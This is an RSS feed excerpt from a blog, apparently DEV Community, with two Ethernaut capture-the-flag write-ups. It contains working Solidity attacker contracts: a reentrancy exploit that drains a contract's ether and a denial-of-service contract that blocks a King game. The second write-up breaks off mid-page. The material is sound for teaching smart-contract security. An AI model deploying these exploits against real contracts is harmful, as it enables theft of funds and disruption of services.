<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: pacelliv</title>
    <description>The latest articles on DEV Community by pacelliv (@pacelliv).</description>
    <link>https://dev.to/pacelliv</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F912030%2Fde68d869-4c59-48f1-8b37-fa9d6065a86d.png</url>
      <title>DEV Community: pacelliv</title>
      <link>https://dev.to/pacelliv</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/pacelliv"/>
    <language>en</language>
    <item>
      <title>Ethernaut - Lvl 10: Reentrancy</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Mon, 10 Jul 2023 03:03:27 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-10-reentrancy-34mk</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-10-reentrancy-34mk</guid>
      <description>&lt;h5&gt;
  
  
  &lt;em&gt;Requirements: Basic knowledge of Solidity smart contracts and Remix IDE.&lt;/em&gt;
&lt;/h5&gt;

&lt;h2&gt;
  
  
  The challenge 🤼‍♀️🤼
&lt;/h2&gt;

&lt;p&gt;Steal all the funds from the following contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'openzeppelin-contracts-06/math/SafeMath.sol'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Reentrance&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;SafeMath&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;donate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;balanceOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_who&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;_who&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="n"&gt;balances&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Inspecting the contract 🔎🔍
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;Reentrance&lt;/code&gt; is a contract that allows donors to give ether to any account via the &lt;code&gt;donate&lt;/code&gt; function, the &lt;code&gt;receive&lt;/code&gt; function doesn't update the balance of the beneficiary.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;balances&lt;/code&gt; keeps track of the total amount donated to each beneficiary and that amount can be read with the &lt;code&gt;balanceOf&lt;/code&gt; method.&lt;/p&gt;

&lt;p&gt;The beneficiaries can withdraw ether they have received with the &lt;code&gt;withdraw&lt;/code&gt; method and only if they have received an amount greater or equal to the amount they want to withdraw. &lt;/p&gt;

&lt;p&gt;The contract implements the &lt;code&gt;SafeMath&lt;/code&gt; library from OpenZeppelin to protect the arithmetic operations from underflow and overflow.&lt;/p&gt;

&lt;h2&gt;
  
  
  Reentrancy 🔄
&lt;/h2&gt;

&lt;p&gt;A reentrancy attack has been the most destructive type of hack that smart contracts have suffered, this attack occurs when a smart contract makes an external call to an untrusted or malicious contract that with his &lt;code&gt;fallback&lt;/code&gt; creates a recursive call back to the original function in an attempt to drain funds.&lt;/p&gt;

&lt;p&gt;That's a good definition for a reentrancy attack but how is &lt;code&gt;Reentrancy&lt;/code&gt; vulnerable to this type of attack?&lt;/p&gt;

&lt;p&gt;When an user calls &lt;code&gt;withdraw&lt;/code&gt;, the function sends the &lt;code&gt;amount&lt;/code&gt; to withdraw by the user and only after that call is finished the balance of the donor in the contract is updated. This flow does not follow the Check-Effect-Interactions pattern recommended for functions making it exploitable with a Reentrancy attack.&lt;/p&gt;

&lt;p&gt;Given the fact that the function first sends the ether and then updates the balance, that means the function can be re-entered during the execution of the &lt;code&gt;call&lt;/code&gt; function to recursively invoke &lt;code&gt;call&lt;/code&gt; to send &lt;code&gt;amount&lt;/code&gt; again to the user.&lt;/p&gt;

&lt;h2&gt;
  
  
  Draining &lt;code&gt;Reentrance&lt;/code&gt; 😈
&lt;/h2&gt;

&lt;p&gt;A reentrancy attack can only be done with a smart contract, so let's create our attacker contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;interface&lt;/span&gt; &lt;span class="n"&gt;IReentrance&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;donate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_to&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="n"&gt;_amount&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attacker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;IReentrance&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="kr"&gt;immutable&lt;/span&gt; &lt;span class="n"&gt;reentrance&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;uint256&lt;/span&gt; &lt;span class="k"&gt;private&lt;/span&gt; &lt;span class="k"&gt;constant&lt;/span&gt; &lt;span class="n"&gt;amountToWithdraw&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000000000000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;constructor&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_reentranceAddr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;reentrance&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IReentrance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_reentranceAddr&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;fallback&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reentrance&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;amountToWithdraw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="n"&gt;reentrance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amountToWithdraw&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;reentrance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;donate&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;amountToWithdraw&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
        &lt;span class="n"&gt;reentrance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amountToWithdraw&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;attack&lt;/code&gt; will make a call to donate ether to itself and then it will call &lt;code&gt;withdraw&lt;/code&gt;; after &lt;code&gt;Reentrance&lt;/code&gt; sends the ether to &lt;code&gt;Attacker&lt;/code&gt; the &lt;code&gt;fallback&lt;/code&gt; function will be triggered making a new call to &lt;code&gt;withdraw&lt;/code&gt; and this cycle will last until the balance in &lt;code&gt;Reentrance&lt;/code&gt; goes below &lt;code&gt;amountToWithdraw&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The if-statement is important because it breaks the cycle otherwise an infinite loop is created, this will drain the gas in the transacion and the funds in &lt;code&gt;Reentrance&lt;/code&gt; will not be drained.&lt;/p&gt;

&lt;p&gt;Before making the attack let's check the balance in &lt;code&gt;Reentrance&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="n"&gt;web3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;eth&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bal&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;bal&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="c1"&gt;// should return 1000000000000000 or 0.001 ether
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Deploy &lt;code&gt;Attack&lt;/code&gt; with the address of the &lt;code&gt;Reentrance&lt;/code&gt; and then invoke &lt;code&gt;attack&lt;/code&gt; sending the &lt;code&gt;1000000000000000 wei&lt;/code&gt; with the transaction.&lt;/p&gt;

&lt;p&gt;After the transaction is completed check again the balance of &lt;code&gt;Reentrance&lt;/code&gt; and it should be zero.&lt;/p&gt;

&lt;p&gt;Submit the instance to complete the level.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion 💯
&lt;/h2&gt;

&lt;p&gt;If your function is going to make external calls to smart contracts always assume that contract is malicious and design your function to be secure against attacks like reentrancy.&lt;/p&gt;

&lt;p&gt;If the developer had followed the Checks-Effects-Interactions pattern then he would have updated the balance first before sending the ether or making an external call.&lt;/p&gt;

&lt;p&gt;By doing that when &lt;code&gt;Attacker&lt;/code&gt; receives the ether after the first withdraw, the fallack is triggered but the condition would have been false because the balance of the contract in Reentrance is zero.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 👀
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.chain.link/reentrancy-attacks-and-the-dao-hack/#what_is_a_reentrancy_attack_in_solidity_"&gt;Reentrancy Attacks and The DAO Hack&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern"&gt;Use the Checks-Effects-Interactions Pattern&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.soliditylang.org/en/v0.8.20/security-considerations.html#reentrancy"&gt;Reentrancy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>smartcontract</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 9: King</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Sun, 09 Jul 2023 19:42:43 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-9-king-hko</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-9-king-hko</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirements: basic knowledged of smart contracts, Remix IDE.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  The challenge 📄
&lt;/h2&gt;

&lt;p&gt;Prevent the owner of the contract from claiming kinship.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;King&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;uint&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;prize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
    &lt;span class="n"&gt;king&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;prize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;prize&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;king&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;prize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;_king&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;king&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Studying &lt;code&gt;King.sol&lt;/code&gt; 👩‍🏫👨‍🏫
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;King&lt;/code&gt; is a game that allows players to send ether in order to claim kinship and winning the balance in the contract as a prize, each new player needs to send an amount equal or greater than the previous, so basically this is a ponzi scheme.&lt;/p&gt;

&lt;p&gt;The owner doesn't need to match the current prize to re-claim the kinship it only needs to send ether to the contract. Not very fair.&lt;/p&gt;

&lt;p&gt;The contract keeps tracks of who is the owner and the current king.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Hack 💣💣
&lt;/h2&gt;

&lt;p&gt;To break this unfair game we need to launch an Denial Of Service on &lt;code&gt;king&lt;/code&gt; to prevent the owner from claiming kinship.&lt;/p&gt;

&lt;p&gt;Contrary to EOAs, transactions of ether to contracts are verified to check if the recipient can receive ether, if the contract does not have a mechanism to handle the incoming transaction the transaction reverts.&lt;/p&gt;

&lt;p&gt;We will write a contract from which we will claim the kinship with no mechanism to receive ether so preventing the owner or any new player from playing this unfair game ever again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Attacker&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="n"&gt;Attacker__CallFailed&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;_kingAddr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;bool&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;,)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_kingAddr&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;call&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="s"&gt;""&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;revert&lt;/span&gt; &lt;span class="n"&gt;Attacker__CallFailed&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;attack&lt;/code&gt; takes the address of &lt;code&gt;King&lt;/code&gt; and with &lt;code&gt;call&lt;/code&gt; send the ether to the game to claim the kinship.&lt;/p&gt;

&lt;p&gt;Deploy &lt;code&gt;Attacker&lt;/code&gt; and call &lt;code&gt;attack&lt;/code&gt; with current &lt;code&gt;prize&lt;/code&gt; as &lt;code&gt;msg.value&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;After the transaction is mined, verify who is the king:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
